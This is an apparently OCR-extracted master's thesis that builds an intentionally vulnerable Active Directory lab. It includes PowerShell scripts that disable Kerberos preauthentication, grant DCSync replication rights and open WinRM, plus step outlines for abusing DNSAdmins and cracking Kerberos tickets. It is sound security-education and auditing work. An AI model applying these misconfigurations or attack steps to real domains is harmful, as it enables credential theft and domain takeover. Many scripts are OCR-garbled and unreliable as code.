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Abstract

Note: The superscript numbers (e.g., 1, 2) indicate the first appearance of technical terms. All referenced terms
are defined in the Glossary.

This Master's Thesis presents a practical security assessment of a corporate environment
built upon Active Directory (AD) !, the cornerstone technology for identity and access

management in enterprise networks.

The goal of this project was to simulate a realistic internal network by designing and
deploying a fully functional AD infrastructure, intentionally incorporating common
misconfigurations and weaknesses observed in real-world environments. The assessment

followed a manual, attacker-oriented methodology consisting of:
e Environment deployment and vulnerability injection.
« Enumeration and reconnaissance of network resources.

« Exploitation of attack paths such as Kerberoasting 2, AS-REP Roasting 2 and
DCSync 4.

o Post-exploitation techniques and domain compromise.

By avoiding automated frameworks and focusing on step-by-step analysis, the thesis offers
a clear view of how internal attackers navigate Active Directory ecosystems—from
identifying weak entry points to achieving full domain control. All phases were carried out in

a controlled laboratory and documented in detail.

This work highlights the critical importance of periodic auditing, strong access control
policies, and awareness of internal threat vectors. It provides actionable insights and
mitigation strategies, contributing to a deeper understanding of cybersecurity in enterprise

environments.

Beyond its academic purpose, this project also serves as a practical foundation for internal
red teaming and cybersecurity training initiatives within enterprise settings. Its methodology
and findings can be easily adapted by security teams to simulate adversarial behaviour,
assess organizational resilience, and design targeted mitigation strategies aligned with

industry best practices.
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Motivation

The decision to focus this thesis on Active Directory security stems from both personal
interest and hands-on experience. | am currently preparing for the eJPTv2 (Junior
Penetration Tester) certification, with the goal of pursuing the OSCP (Offensive Security
Certified Professional) — a benchmark qualification and aspiration for many aspiring
penetration testers. Both certifications emphasize hands-on techniques in realistic
environments, with a strong focus on Active Directory as a recurring challenge. In fact, most
of the machines | successfully exploited involved AD infrastructures, which provided me with

solid experience in identifying common misconfigurations and weaknesses.

This exposure inspired me to go one step further and build a complete Active Directory
infrastructure from scratch. The intention was not only to understand its components from a
defensive perspective but to explore how these systems can be compromised in realistic
conditions. In cybersecurity, mastering the offensive side is essential for building robust

defence mechanisms—hence the idea that the best defence is a good attack.

One of the alternative paths | initially considered for this thesis was bug bounty hunting,
which focuses on identifying web application vulnerabilities. However, given the stage of my
professional career, | believe it is more valuable to develop a solid understanding of Active
Directory. AD integrates various layers of corporate infrastructure—authentication protocols,
user and group management, network services, access control mechanisms, and privilege
escalation ® paths. These are essential components in any mid-to-large scale organization,

making AD security a foundational topic for any cybersecurity professional.

Furthermore, | believe that AD security is one of the most critical areas within enterprise
environments, alongside:

e Cloud Security

« Endpoint Detection and Response (EDR)

« ldentity and Access Management (IAM)

e Security Operations Centre (SOC) Monitoring

o Network Segmentation and Zero Trust Architectures

This project also represents my first fully developed internal cybersecurity lab. It has allowed
me to gain a comprehensive, real-world perspective on both offensive and defensive
strategies—an invaluable experience that strengthens my foundation as an entry-level
cybersecurity professional.
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Introduction

In modern corporate environments, centralized identity and access management is not just
a convenience—it's a cornerstone of operational security. At the heart of this structure lies
Active Directory (AD), a technology developed by Microsoft and adopted by thousands of
organizations worldwide to control access, enforce policies, and manage authentication

across internal networks.

Its widespread use, however, makes it a prime target for attackers. Misconfigurations, legacy
protocols, excessive privileges, or weak password practices are common pitfalls that
adversaries can exploit to gain footholds, escalate privileges, and compromise entire
domains. In many cases, a single exposed service or a poorly configured user account is

enough to trigger a full-scale breach.

This Master's Thesis seeks to bridge the gap between theoretical knowledge and real-world
application by constructing a realistic Active Directory lab from scratch and subjecting it to a
structured security assessment. The environment was intentionally misconfigured to mirror
frequent enterprise-level mistakes, allowing the simulation of internal threat scenarios such

as lateral movement 8, credential dumping 7, and domain escalation 8.

Rather than relying solely on automated tools, the audit follows a manual, hands-on
methodology, reflecting how real attackers think and operate in compromised environments.
Every step—from enumeration and exploitation to post-exploitation—is carefully
documented to expose hidden risks and demonstrate how overlooked weaknesses can

escalate to total domain compromise.

10
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Objectives
The purpose of this project is to analyse the security posture of an Active Directory-based
infrastructure in a controlled environment, simulating the internal attack surface of a real

company. The specific objectives are:

1. Design and deployment of a realistic Active Directory environment that includes
workstations, service accounts, users, and misconfigurations reflective of production

networks.

2. Identification and exploitation of vulnerabilities, including password reuse,
insecure privileges, and attack paths such as AS-REP Roasting, Kerberoasting, and
DCSync.

3. Documentation and proposal of mitigation strategies, offering technical
recommendations to reduce attack surfaces and improve resilience in enterprise

environments.

11
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Main body

Tools and Environment

The first phase of this project focused on building a realistic and isolated lab environment to
simulate a mid-sized enterprise network based on Active Directory. The following virtual

machines and technologies were selected:

VirtualBox
VirtualBox served as the primary virtualization platform to deploy and manage all lab
machines. It enabled full control over network configurations, snapshots, cloning, and
environment isolation. Leveraging internal networking and snapshots, the lab could
be restored to a clean state at any time, making it ideal for iterative testing and

experimentation.

Windows Server 2022

This system served as the core of the domain infrastructure. It hosts the Domain
Controller (DC) ® and is responsible for managing Active Directory Domain Services
(AD DS) 19, DNS 1, DHCP *?, and Group Policy *3.

Windows Server 2022 was selected due to its broad adoption in enterprise
environments and its compatibility with modern AD security features. Despite the
availability of a beta version of Windows Server 2025 at the start of the project, it
lacked sufficient documentation and community support. Most resources for AD lab
environments still reference Windows Server 2016 or 2019. For this reason, the
project adopted Windows Server 2022 as the most recent stable release consistent

with current enterprise practices.

Windows 10 Enterprise

To reflect a realistic environment, it was necessary to join a workstation to the Active
Directory domain. Only the Enterprise edition of Windows provides full integration

capabilities with domain services.

Kali Linux
Kali Linux was configured as the attacker's machine. It includes a wide range of pre-
installed penetration testing tools such as BloodHound 4, Kerbrute *°, Impacket 16,
CrackMapExec '/, and Hashcat 18,

12
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While alternative distributions such as Parrot OS exist, Kali was chosen for its

widespread use and active community support, establishing it as the de facto

standard for offensive security assessments.

pfSense
A pfSense virtual firewall was implemented to simulate a segmented network and

control communication between virtual machines. In addition to firewall
functionalities, it provides both DHCP and DNS services, helping to reproduce
common constraints encountered in real-world enterprise environments.

This additional network layer significantly improves simulation fidelity and highlights

the relevance of proper network segmentation in corporate infrastructures.

After deploying all components, the next step was to configure pfSense. This component
plays a critical role in managing internal communications and simulating realistic network

constraints within the lab.

Network Configuration with pfSense

To replicate realistic network segmentation and traffic control, the open-source firewall
pfSense 2.7.2 was deployed following the methodology from Ben Heater’s VirtualBox Lab
Guide.

Acting as both gateway and firewall, pfSense isolated traffic between virtual machines and
established a controlled environment for simulating both network-based attacks and

defensive responses.

The configuration, executed within VirtualBox, utilized internal adapters to simulate
corporate LAN 1° and DMZ ?° structures. Four distinct interfaces were defined to segment
machines logically and enable scenarios such as lateral movement, service isolation, and

internal privilege escalation.

‘ (wan) -> -> /DI + 19 68. /24
( ) -> -> + 10.0.0.1/24
( ) -> t2 =-> va: 10.6.6.1/24
( 2) > -> s . 1/24

Figure 1 Final pfSense network configuration as seen from the console

13
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PfSense's WebConfigurator was also enabled to simplify firewall and routing administration.

Despite being based on external documentation, the setup proved robust and reproducible,

forming the backbone of the lab network architecture.

Kali Linux Network Configuration

After finalizing the pfSense setup, the Kali Linux virtual machine was integrated into the
Cyber-Range-LAN internal network managed by pfSense.

This allowed Kali to operate as an internal adversary, mimicking real-world internal attack

scenarios.

Once connected, Kali received a dynamic IP 2! address via pfSense’s DHCP service. Proper
integration was confirmed by verifying the assigned address 10.0.0.2/24 using the ip

command, as shown in Figure 2.

With this configuration, the attacker machine gained unrestricted access to simulate

enumeration, exploitation, and post-exploitation phases within the lab.

Y sudo ip link set eth® down && sudo ip link set eth® up
[sudo] password for kali:

Y ip a

11 lo: <LOOPBACK.UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1008
Link/loopback 100:90:00:88:00 brd 00:80:00:80:00:60
tnet 127.0.0.1/8 scope host lo

valld_1ft forever preferred_Lft forever
inet6 ::1/128 scope host noprefixroute
valid_L1ft forever preferred_lft forever
: eth8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default glen 10
link/ether 05:88:27:6e:13:6e brd fr:ff:ff:ff:ff:ff
inet 10.0.0,2/24 brd 10.0,08.255 scope global dynamic noprefixroute eth@
valid_1ft 7193sec preferred_lft 7193sec
inett feBB::5e26:7c98:348b:5806/64 scope link noprefixroute
valid_1ft forever preferred_lft forever

Figure 2 Kali successfully connected to the pfSense LAN with IP address 10.0.0.2

Active Directory Configuration

With the network infrastructure fully operational, the next step involved installing and
configuring Active Directory Domain Services (AD DS) on the Windows Server machine.
This process promotes the server to a Domain Controller (DC), which is responsible for

managing identities, authentication, and access control across the environment.

14
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Static IP Assignment

Before proceeding with the role installation, a static IP address (10.80.80.2) was
manually assigned to the server, along with a default gateway and DNS pointing to
10.80.80.1 (pfSense).

This configuration ensures consistent network identification and stability of the

Domain Controller during operations, preventing DHCP-induced disruptions.

| Internet Protocol Version 4 (TCP/IPv4) Properties X
General
You can get IP settings assigned automatically If your network supports

this capability. Otherwse, you need to ask your network administrator
for the appropriate IP settings.

(O Obtain an [P address automaticaly
(®) Use the following IP address:

IP address: [ 10 .80 .80 . 2
Subnet mask: | 255 .255.255. 0
Default gateway: | 0.8 .80, 1

Obtain DNS s=ver address sutomaticall

(®) Use the followng DNS server addresses:

Preferred DIS server: [10 .80 .80 .2

Alternate DNS server: l (o'

[vslidate settings upon exit Advanced. ..
e

Figure 3 Static IP configuration of the Domain Controller

Renaming the Server

The server was renamed to DC1 in line with enterprise naming conventions, which

typically reflect the role or function of each system.

Meaningful hostnames facilitate administration, monitoring, and incident response,

particularly during domain enumeration or forensic analysis.

Rename your PC

Rename your PC

Alter you restart, your PC name will change tox DY

Restart now Restart later

Figure 4 Renaming the Domain Controller to DC1

15
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Installing AD DS and DNS Server Roles

Through the Server Manager interface, the following roles were installed:

o Active Directory Domain Services (AD DS): Provides centralized identity

management and authentication.

e DNS Server: Ensures domain name resolution and integration with AD
services.

Installing both roles simultaneously guarantees proper coordination between DNS
and AD from the outset.

Figure 5 Installing AD DS and DNS Server roles via Server Manager

Promoting to Domain Controller

After installing the required features, the server was promoted to a Domain Controller
(DC) by creating a new forest with the root domain name tfm.lab.

Septiare Cor g atin

Figure 6 Promote the Domain Controller and change root domain to tfm.lab

16



Pablo Gutiérrez Bueno
Building and Breaking an Active Directory Environment
A Directory Services Restore Mode (DSRM) 2?2 password was configured, and

default installation values were retained to reflect common enterprise practices —

despite their inherent risks.

The system was rebooted after promotion to complete its configuration as the

authoritative Domain Controller for the lab.

Installing Active Directory Certificate Services

The Active Directory Certificate Services (AD CS) 23 role was added to issue digital

certificates for services, users, and devices across the domain.

Only the Certification Authority component was installed to simulate common
enterprise deployments. This enables scenarios involving smart card authentications

and secure encrypted communications (e.g., LDAPS 24, HTTPS 25),

Default options were used to mimic misconfigured environments typically observed

in real-world audits.

- Add Roles and Features Wizard X

Add features that are required for Active Directory

The following tools are required to manage this feature, but do not

have to be installed on the same server.

4 Remote Server Administration Tools
4 Role Administration Tools

4 Active D

ctory Certificate Services Tools

[Tools] Certification Authonity Management Tools

|| Include management tools (if applicable)

‘ Cancel

| Add Features

Figure 7 Adding Certificate Service feature to the Domain Controller

[] Certification Author ty
Certification Authority Web Enroliment
COnline Responder
Network Device Enroliment Service
Certificate Enroliment Web Service

Certificate Enroliment Policy Web Service

Figure 8 Select Certification Authority Role

17
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DNS Forwarder Setup
To enable name resolution for external domains beyond the internal tfm.lab, a DNS

forwarder was configured.

The Domain Controller was set to forward unresolved queries to the pfSense instance

(10.80.80.1), which relays them to external resolvers.

This setup reflects standard enterprise practices, allowing outbound communication
for updates, threat simulations (e.g., C2 callbacks), and malware delivery in red team

exercises.
.
File Action View Help
I - IFEICE NG
" DNS Name Debug Loggng Evert Logging Monioring Security
E Forwarde
vl DC'IF S— :lForward Lookup Zorie Intedaces orwarders Advanced Root Hints
orward Lookup Zones
R Look pz CIReverse Lookup Zones  Fonwarders are DNS servers that this server can use to resolve DNS
- Jevene tookupLones || P rust Points queries for records that this server cannot resolve
Trust Points y
| Conditional Forwarders H:on:l:onal Forwardej
oot Hints =
@Fnrwmﬁe{s IP Address Server FQDN
10.80.80.1 <Unable to resoive>
Edit Forwarders X
1P addresses of forwarding servers:
IP Address Server FQON vakdated Delete
l <Ciick here to add an P Adess ar D Name > 1
@ 10.80.80.1 <Attemptng to resolve... OK i R
gin, they will be
conditional
the scope tree
Heip -
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Figure 9 Configuring pfSense as the DNS forwarder in the DNS Manager.

DHCP Server Role Installation

Although enterprise-grade networks often delegate DHCP duties to routers or
appliances, in this lab environment the DHCP Server role was installed directly on

the Domain Controller.

This choice simplifies IP management and enables tighter integration with DNS and

domain policies.
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Figure 10 Adding DHCP Features

Following installation, the Complete DHCP Configuration Wizard was launched to

finalize the role configuration and apply the required settings.

[
View installation progress

o Feature installation

Configuration required. Installation succeeded on DC1.tfm.lab.

DHCP Server
Launch the DHCP post-install wizard
Complete DHCP configuration
Remote Server Administration Tools
Role Administration Tools
DHCP Server Tools

Figure 11 Completing DHCP configuration

DHCP Scope Creation

A new IPv4 DHCP scope named ad_tfm was configured with the following

parameters:

e |P Range: 10.80.80.3 — 10.80.80.254 (Excluding the DC and pfSense)

e Subnet Mask 26; 255.255.255.0 (/24)
e Gateway ?7: 10.80.80.1 (pfSense)
e DNS Server: 10.80.80.2 (Domain Controller)

e Domain Name: tfm.lab

19



Pablo Gutiérrez Bueno
Building and Breaking an Active Directory Environment
The lease duration was extended to 365 days to simulate environments where static-

like behaviour is preferred or poorly managed.

Such misconfigurations reduce IP turnover, aiding attacker persistence and asset

tracking.

Figure 12 DHCP Scope Configuration for internal domain

Active Directory User and Group Management

Following the configuration of the network infrastructure and core AD services, the
next step was to define the identity structure of the domain. This involved creating
users, groups, and Organizational Units (OUs) to simulate a realistic enterprise

environment with meaningful identity relationships.

Organizational Unit (OU) Creation

Using the Active Directory Users and Computers (AD UC) 28 console, a new
Organizational Unit named Groups was created. Default security groups were moved
from the generic Users container into this OU to promote logical separation between

user and group objects — a best practice in enterprise environments.

Maintaining a clear and logically structured OU hierarchy simplifies administration,
enhances Group Policy targeting, and is crucial for domain analysis using tools like
BloodHound.

Creating a Domain Administrator Account

A new privileged user account named domain.admin was created in the

tfm.lab/Users container with the following properties:

e Username: domain.admin

e Password: Passwordl (for demonstration purposes)
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This account was manually added to the Domain Admins group through the Groups

OU. This setup emulates common post-deployment practices in which privileged
accounts are manually created and added to administrative groups — a behaviour
frequently exploited during privilege escalation attacks.

The configuration was verified by logging out and signing in again using the new
domain account (domain.admin@tfm.lab), confirming successful authentication of

domain-admin credentials.

Creating non-privileged Domain Users

Two additional user accounts were created to simulate standard domain users:

e John Parker (jparker@tfm.lab)

e Emily Sparrow (esparrow@tfm.lab)

Both users were created within the Users container and configured with standard
permissions and default settings. Their passwords were set to never expire, a
frequent misconfiguration in real-world enterprise environments where convenience

often takes precedence over security, especially in lab scenarios.

Cloning and preparing the Windows 10 Enterprise Template

To streamline the deployment of multiple domain-joined workstation, a Windows 10
Enterprise virtual machines was generalized using the Sysprep (System
Preparation) Tool. This ensures that each cloned instance received a unique

Security Identifier (SID) ?°, preventing duplication issues during domain integration.

The following command was executed via PowerShell 20;

cd \Windows\System32\
\Sysprep\sysprep.exe |
| ]

Figure 13 Executing Sysprep to prepare Windows 10 template

The system was configured to enter OUT-OF-Box Experience (OOBE) 3! mode with
the Generalize checkbox enabled and Shutdown selected, stripping hardware-

specific information before cloning.
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Figure 14 Sysprep generalization process for domain integration

During the cloning process in VirtualBox, the option "Generate new MAC addresses

for all network adapters" was selected to avoid network conflicts.

The resulting image served as the base template for all subsequent workstation

deployments.

recoones MAC para 0dos ©9 sdeptadcres te red

Figure 15 VirtualBox cloning options in Spanish

Joining the Domain from a Client Machine

The client was manually joined to the domain by modifying system settings under

System Properties - Computer Name, specifying the domain tfm.lab and

hostname Win10Entl.
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Figure 16 Domain joining process — changing client hostname

Under More..., set the primary DNS suffix to tfm.lab
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DNS Suffix and NetBIOS Computer Name X

Primary DNS sufffix of this computer:
) |
[[] Change primary DNS suffix when domain membership changes

NetBIOS computer name:
WINTOENT1 [

This name is used for interoperability with older computers and services

Cancel
Figure 17 Set Primary DNS suffix

When prompted, provide credentials for a domain account with sufficient privileges.

The previously created account domain.admin@tfm.lab was used for this purpose.

Wrdvas Senay

Computer Name/Domain Changes

nter the name snd passwtrd of an aocount with permmose o
1060 The doman

aomanadmin@tm lab

Figure 18 Login with domain.admin credentials

‘ Computer Nama/Oaman Changes X
o Welcome 10 the t'm.lsb demain,

Figure 19 User added to domain

Once the domain join was completed, the machine was rebooted, and successful

domain join was confirmed by logging in as user jparker@tfm.lab and validating
credentials against the Domain.

Figure 20 Login with John Parker credentials
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Domain Membership Verification

To verify the successful domain integration, diagnostic commands were executed

from the command line while logged in as jparker:

Figure 21 Domain verification using command-line tools

These commands validated:

e DNS resolution and connectivity to Domain Controller DC1.
e Membership of the client machine within the tfm.lab domain.

e Operational network connectivity confirmed via ICMP response.

These results confirmed full integration into the domain infrastructure, enabling

realistic endpoint simulations in subsequent phases.

Figure 22 Confirming domain user context with whoami

Figure 23 Domain verification commands and outputs
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Figure 24 Network design
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In order to support the subsequent security analysis and privilege escalation simulations, it

is essential that the Active Directory environment resembles a realistic enterprise

structure. This begins by populating the domain with non-privileged users who

simulate a regular employee.

Script-Based User Generation

To simulate a realistic corporate environment, a PowerShell script was used to

automatically generate non-privileged user accounts. While this setup does not

represent a direct vulnerability, it enriches the attack surface and supports realistic

simulation of enterprise environments.

The script dynamically creates users with realistic names by selecting randomized

combinations from a predefined list. Each user receives a randomly generated,

secure password, and is automatically enabled within the domain.

o Configuration and implementation

The following PowerShell script was executed from a domain-joined administrative

session:

¢ an al Configuratlor
Inport-Module ActiveDirectory
Donsln = *lab,local” & Change th

- 8("Alice “Bob", “Chariie”, "Diana®, “Eva®, “Frank™, “George”,

VuinAD-GetRandon {
Jarani [array] !
ture | Get-Randon

ViinAD-AodADUser {
sran( | int] = 5)

Add-Type -AssenbiyNamne System,Wed

le H ++) 4
« VulnAD-GetRandon «Inputlist
= VulnAD-Getfiandon -Inputiist
= {'{0}.{2}' -T N 1. ToLower! )
= 24( "

yaten. wWeb. Security.Nenbership]::Generatefasavord|{4,2)|

ost “Creating user: with password:

ADUser ~Nape ' ~Gilvenkace
rnane ~SanhccountNare UserPrincipalNane
~AccountFassword (Convartio-SecureString
-AsPlainText -Force) -PassThru | Enable-ADAccount
itch o

write-Host ]l Failed to create

}

VUInAD-AddADUSer -1inlt

Figure 25 Script-Based User Generation

*Hannah* )
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Each execution creates a predefined number of users (limit), generating names, login

credentials and passwords automatically. Sample outputs show successful creation

of accounts such as:

PS C:\Users\domain.admin\Desktop> dir

Directory: C:\U .domain.admin\Desktop

Figure 26 Execute User Generation Script

Once created the accounts were visible through both the Active Directory Users and

Computers (AD UC) console and PowerShell queries such as:

p> Get-ADUser . Select-Object SamAccountNa

Figure 27 List of AD users

Risk and exploitation

e Risk level: None
e Justification: No vulnerability is introduced by this setup. However, the
presence of multiple standard users is a prerequisite for simulating real attack
techniques such as:
= Enumeration %2
= Password Spraying 33
= Kerberoasting
= Pass-The-Ticket 34 attacks
= Relationship mapping with tools like BloodHound

e Risk level: None
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This setup reflects enterprise-scale environments where hundreds or thousands of

identities must be managed.

+ Mitigation and recommendations

Although this setup is intentional in the lab, in real environments the following best
practices should be observed:
e Log and monitor any bulk user creation activities
e Enforce password complexity policies beyond 8 characters
e Assign users to the least privilege groups only (avoid unnecessary
permissions)
e Apply automated lifecycle management for account expiration and
deprovisioning.

AS-REP Roasting Vulnerability

AS-REP Roasting is a known Kerberos 3°-based attack that targets accounts not
requiring preauthentication. When this setting is disabled, an attacker can request a
Kerberos Authentication Service Response (AS-REP) for that user without needing
valid credentials. The resulting response, which contains an encrypted Ticket
Granting Ticket (TGT) %6, can be brute-forced offline to recover the user's plaintext

password.

This misconfiguration is frequently observed in environments with legacy systems or

limited awareness of Kerberos security features.

o Configuration and implementation

To intentionally expose the vulnerability, the following configurations were applied to

the charlie.george user account:

harlle.george

= "Passwordl2i!”

t veak |
Set-ADAccountPassword -Identity -Resat -NewPassword (Convertio-

SecureString AsPlainText «Force)

# Disabl reauthe

Set-ADAccountControl -Identity -DoesNotRequirePreAuth

Write-Host = 15 winerable for AS-REP Roasting with password

Figure 28 Disabling pre-authentication for Charlie George (AS-REP Roasting)
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To ensure the account was active and usable from external tools (e.g., Kali Linux),

the user was explicitly enabled:

> Enable-ADAccount -Identity charlie.george
> Get-ADUser charlie.george -Properties Enabled | Select SamAccountName, Enabled

Figure 29 PowerShell command to enable the User

Figure 30 PowerShell script enabling vulnerable user account

+ Risk and exploitation

Severity: High

Attack Vector: Remote (no credential required)

Affected Component: Kerberos preauthentication

CVE ¥ Reference: [CVE-2014-6324] (general Kerberos abuse)

An attacker connected to the internal network can leverage tools such as:

Impacket’s GetNPUsers.py 8

Rubeus 3

to extract and crack the TGT offline. If successful, the attacker obtains the cleartext

password and can impersonate the user across the domain.

« Mitigation and recommendations

Audit all users for the DoesNotRequirePreAuth flag using PowerShell or
BloodHound

Enforce preauthentication via Group Policy (“Domain Account: Require
Kerberos preauthentication”)

Use complex, rotating passwords for service accounts
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e Monitor unusual AS-REQ #° traffic from the same source, which could indicate

brute-force attempts.

¢ Realism and Justification

e Realism: High. This is still observed in many networks due to:
= Compatibility with legacy systems
= Manual provisioning errors

= Lack of awareness about Kerberos risks

Kerberoasting Vulnerability

Kerberoasting is a post-authentication attack technique targeting service accounts
with exposed Service Principal Names (SPNs) 4. Authenticated attackers can
extract Ticket Granting Service (TGS) #? ticket for the SPN, extract the encrypted
service ticket, and attempt to crack it offline. If the password is weak, this may lead
to full account compromise. The attack combines credential abuse with excessive

privilege assignments, posing a high lateral movement risk.

This scenario replicates a common misconfiguration in real-world environments,
where service accounts use static or weak credentials, often combined with excessive
privileges, making them valuable targets for lateral movement and privilege

escalation.

¢ Configuration and implementation

To simulate the vulnerability, a service account named svc-backup was created with

the following insecure properties:

New-ADUser -Xane
-SamAccountiare
ServicefrincipalNanes
~UserPrincipalNemne * b
~AccountPassword [ConvertTo-SecureString -AsPlatnText -Force)
Enabled Strue
-PassThruy | Enable-ADAccount

losst

Set-ADAccountControl ~Identity -DoesNotRequirefrefuth $true

Add-ADGroupMenber -Identity ~Neswbers

Figure 31 Kerberoasting Vulnerability Script
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This setup introduces multiple attack vectors simultaneously:

SPN exposure for Kerberoasting
Preauthentication disabled for AS-REP Roasting
Membership in a privileged group (Backup Operators)

Figure 32 Execution of Kerberoasting misconfiguration script

Risk and exploitation

Severity: Critical

Attack Vector: Internal (authenticated user required)

Affected Component: Kerberos Ticket Granting Service (TGS)
CVE References: [CVE-2020-17049] (related to SPN abuse)

Once authenticated in the domain, an attacker can use tools such as:

Impacket’s GetUserSPNs.py

Rubeus

to request and export service tickets for SPNs like HTTP/backup.tfm.lab. These

tickets can then be brute-forced offline to recover the cleartext password of the

service account.

If the account holds privileged group membership, this can lead of escalation of

privileges or even domain compromise.

Mitigation and recommendations

Use long and complex passwords for all service accounts

Where possible, replace user-based SPNs with Group Managed Service
Accounts (QMSA) 43

Apply fine-grained password policies to service accounts

Monitor TGS ticket requests, especially those associated with high-privilege
SPNSs.

Audit SPN assignments and group memberships regularly
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o Realism and Justification

e Realism: Very high
This vulnerability is frequently observed in enterprise environments, especially
where:
= Service accounts are not managed under strict policies
=  SPNs are misconfigured or overused
= Legacy applications require static credentials
This setup combines several insecure practices to emulate a layered attack surface

commonly found in large, mismanaged AD environments.

DNSAdmins Privilege Abuse

The DNSAdmins group in Active Directory is often overlooked, yet it holds powerful
privileges. Members of this group can configure the DNS Server, including loading
arbitrary DLLs #* via the registry. Since the DNS service typically runs as NT
AUTHORITY\SYSTEM, this can lead to privilege escalation.

This vulnerability does not rely on exploiting a flaw, but rather on abusing legitimate
administrative capabilities. It is a clear example of privilege escalation via

misconfigured delegation and poor group hygiene.

e Configuration and implementation

To simulate this risk, a new user account named Dnsadmin was created with the

following properties:

= “dnsadmin®
= "Passwordl23i!”®

= “tfm.lab’

G f User
New-ADUser -Name

-SamAccountName
-UserPrincipalName " &1
-AccountPassword {ConvertTo-SecureString | -AsPlainText -Force)
-Enabled $true |

Enable-ADAccount

i dd user to DnsAdmins oup
Add-ADGroupMenmber -Identity “DnsAdmins” -Members

Figure 33 Script for Dnsadmin
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C:\Users'domain.admin\Desktop> dir

Directory: C:\Users\domain.admin\Desktop

LastWriteTime Length Name

1214 users.psl

C:\Usershdomain.admin\Desktop> Set-ExecutionPolicy RemoteSigned
C:\Usersidomain.admin\Desktop> .\dnsadmin

~ dnsadmin created with password Passwor

~ dnsadmin added into 'DnsAdmins’
C:\Usersidomain.admin\Desktop>

Figure 34 PowerShell Script Execution

After executing the corresponding PowerShell script (Dnsadmins.psl), the console
confirmed:

o Account creation

o Addition to the DNSAdmins group
This permission allows the user to configure critical DNS server parameters, including
modify the ServerLevelPluginDII registry key, which can be used to load malicious
DLLs under SYSTEM context.

Risk and exploitation

o Severity: Critical

o Attack Vector: Internal (group membership required)

o Affected Component: Windows DNS Server

o Techniques Involved: Registry tampering, DLL injection, privilege escalation

An attacker who compromises this account can:

1. Write a malicious DLL.

2. Modify the registry key:
HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPI
uginDII.

3. Restart the DNS service.

4. Achieve SYSTEM-level code execution.

If the DNS Server runs on a Domain Controller, this may escalate to full domain

compromise.
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« Mitigation and recommendations

o Restrict DNSAdmins membership to trusted, audited personnel only.

o Separate DNS services from Domain Controllers where possible.

o Monitor registry keys and group membership changes (e.g., with Sysmon 4° +
SIEM 49),

o Implement LAPS 4/, tiered admin models, and Just Enough Administration
(JEA) %,

¢ Realism and Justification

o Realism: High
This vulnerability reflects real scenarios where:

o DNS is installed on DCs for convenience.

o DNS administration is delegated carelessly.

o Group memberships are not monitored or audited.
Reasons this misconfiguration exists:

o Underestimation of DNSAdmins power.

o Lack of proper privilege separation.

o Operational shortcuts in hybrid or legacy infrastructures.

DCSync Privilege Abuse

DCSync attacks simulate Domain Controller behaviour by leveraging replication
privileges to exfiltrate credential data stealthily. Any account with specific replication
rights can impersonate a Domain Controller and request sensitive data, such as
NTLM password hashes, including those from KRBTGT #°, Domain Admins, and

other privileged users.

This simulation demonstrates a misconfigured access control scenario, in which a
regular user account is granted DCSync permissions through extended rights in the

domain’s ACL 20,

o Configuration and implementation

To replicate this misconfiguration:
1. A new user named svc-sync was created.
2. The user was added to a group called SyncOperators.
3. The group was granted ExtendedRights via three critical GUIDs:
= DS-Replication-Get-Changes
= DS-Replication-Get-Changes-All
= DS-Replication-Get-Changes-In-Filtered-Set
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|"1131f6aa-9c@7-11d1-f79f-008cB4fc2dcd2",
[ ]"1131f6ad-9¢cB87-11d1-f701-08c@4fc2dcd2",
1"1131f6a3e-9c®7-11d1-f79F-00cB®4fc2dcd2")) |
‘ExtendedRight", “Allow", + AL

! !

Figure 35 Granting DCSync permissions via PowerShell script

Figure 36 Successful execution of DCSync configuration script

The output confirmed that:
e The user svc-sync was created with password Password123!
¢ Added to SyncOperators
e DCSync rights were applied successfully

Risk and exploitation

o Severity: Critical

o Attack Vector: Internal (requires directory write access or ACL
misconfiguration)

o Technique: Credential Dumping via Replication

o Tools: Mimikatz 51, secretsdump %2, SharpHound >3
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If exploited, this grants:
o Stealthy, persistent access to domain credentials.
o Ability to exfiltrate hashes of Domain Admins.
o Golden Ticket 5* generation for long-term persistence.

« Mitigation and recommendations

To prevent or detect this scenario:
o Never assign replication rights to non-DC accounts.
o Regularly audit ACLs using tools like BloodHound, PingCastle %5 or
PowerView %6,
o Use tiered administration models and segment roles and privileges.
o Monitor for DCSync behaviour patterns in event logs (Event ID 4662).
o Realism and Justification

o Realism: Very High
DCSync is one of the most abused attack techniques in red teaming and
Advanced Persistent Threat (APT) 7 scenarios due to its stealth and power.

Reasons this misconfiguration appears in real environments:

o Delegation of replication rights to service accounts.

o Lack of knowledge about ACL inheritance and GUIDs ®8,

o No periodic audits of extended rights on domain objects.

e Consequence if Exploited

o Immediate Domain Admin compromise.

o Extraction of KRBTGT hash — Golden Ticket attacks.

o Long-term persistence and undetectable lateral movement.
This vulnerability was intentionally configured to demonstrate how dangerous ACL
misconfigurations can be, especially when overlooked during delegation of replication

tasks.

Remote Code Execution via Evil-WinRM

Evil-WinRM %° (Evil Windows Remote Management) is a powerful post-exploitation
tool used to gain remote interactive shell access on Windows machines via the

WinRM (Windows Remote Management) protocol.

While WinRM is designed for legitimate remote administration, enabling it without
proper restrictions can allow attackers with valid credentials to execute arbitrary code

remotely with administrative privileges.
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e Configuration and implementation

To simulate this vulnerability, the following configuration was applied:

KWinkM to allow reso
Write-Host *B@ Enabling WinAM

’ able the WinbN <
Enable-PSRenoting -Force

Set-Service WinAM -StartupType Autamatic

¥ Ad g ¥ ruce 1

Try {
netsh advfirewall firewall add rule name="WinRM" dir=in action=allow protocol=TCP localport=
Write-Host "8 Firewall rule for WinRM added*

} Catch {
Write-Host “ & Error adding the firewall rule or it already exists"

}

= Get-Service WinfM | Select-Object -Expandfroperty Status
Write-Host “F| WinAM service status: tus"®

Figure 37 WinRM Script

1. WIinRM was deliberately enabled on the Domain Controller and a firewall rule
was added to allow inbound traffic on TCP port 5985 (HTTP).
2. Service status was verified
3. The Dnsadmin domain user was added to the local Administrator group on
the Domain Controller
This misconfiguration enables the Dnsadmin user, added to the local Administrators
group, to establish remote shell sessions with full SYSTEM privileges.

¢ Risk and exploitation

o Severity: Critical
o Attack Vector: Internal (requires valid credentials)
o Technigue: Remote Code Execution (RCE) ¢° over WinRM
o Tools: Evil-WinRM, PowerShell, CrackMapExec
If exploited, an attacker can:
o Gain full shell access to the Domain Controller.
o Execute arbitrary code as SYSTEM.
o Dump credentials, disable defences, or establish persistence mechanisms.

« Mitigation and recommendations

To prevent or limit the impact of this vulnerability:
o Disable WinRM if not explicitly required.
